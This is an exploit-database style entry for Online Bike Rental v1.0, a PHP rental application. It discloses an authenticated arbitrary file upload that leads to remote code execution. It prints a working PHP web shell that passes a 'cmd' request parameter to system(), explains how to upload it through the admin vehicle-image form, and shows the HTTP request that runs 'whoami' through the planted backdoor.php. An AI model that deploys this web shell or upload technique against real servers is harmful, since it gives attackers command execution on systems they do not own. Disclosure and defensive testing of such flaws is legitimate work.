# Exploit Title: Online Bike Rental v1.0 – (Authenticated) Arbitrary File Upload / Remote Code Execution
# Date: July 31, 2020
# Exploit Author: Adeeb Shah (@hyd3sec)
# Vendor Homepage: https:/www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14374/online-bike-rental-phpmysql.html
# Version: 1.0
# Tested on: Windows 10 (x64_86) + XAMPP 7.4.4
Online Bike Rental has an authenticated (admin) arbitrary file upload vulnerability that allows for remote code execution.
1. Create a malicious PHP file with this content:
<?php
if(isset($_REQUEST[‘cmd’])){
echo “<pre>”;
$cmd = ($_REQUEST[‘cmd’]);
system($cmd);
echo “</pre>”;
die;
}
?>
2. Authenticate as admin via admin portal; navigate to manage vehicles and upload malicious php. Navigate to uploaded file path to execute php code.
GET /bikerental%20PHP/bikerental/admin/img/vehicleimages/backdoor.php?cmd=whoami HTTP/1.1
Host: 192.168.222.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: style=purple; PHPSESSID=2lpoqi5jmbeiabqemraesot9nh
Upgrade-Insecure-Requests: 1
